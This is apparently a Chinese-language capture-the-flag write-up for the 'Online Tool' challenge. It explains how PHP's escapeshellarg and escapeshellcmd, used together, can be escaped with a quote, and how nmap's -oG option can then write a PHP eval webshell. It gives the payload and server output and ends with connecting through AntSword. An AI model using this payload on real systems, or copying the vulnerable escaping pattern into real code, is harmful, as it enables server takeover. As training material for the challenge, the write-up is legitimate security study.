Online Tool

  • RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()和escapeshellcmd() 这两个函数在一起用会有些问题,参考escapeshellarg与escapeshellcmd造成的逃逸

这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…。

在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

  • namp <?php phpinfo(); ?> -oG 1.php
    可以写入一个文件
  • namp nmap <?php phpinfo();> -oG 1.php\’
    会写成1.php‘ 而不是 1.php

所以可以利用这个来写一句话木马,如果我们在数据后面,加上一个单引号,所有的单引号都闭合了,那么我们在单引号后面,就可以加上我们想要执行的命令了。

在这里插入图片描述

这样的话,语句就变成了:
nmap -T5 -sT -Pn --host-timeout 2 -F ‘1’\‘’ shellcode' ,因为所有的单引号都被闭合了,所以可以忽略。放出paylod:
'<?php eval($_POST["a"]);?> -oG 1.php '

you are in sandbox 3cbd637876b7cb201c6b151230494295Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-10 16:14 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 15.17 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 15.17 seconds

然后蚁剑连接即可

image-20200310121849718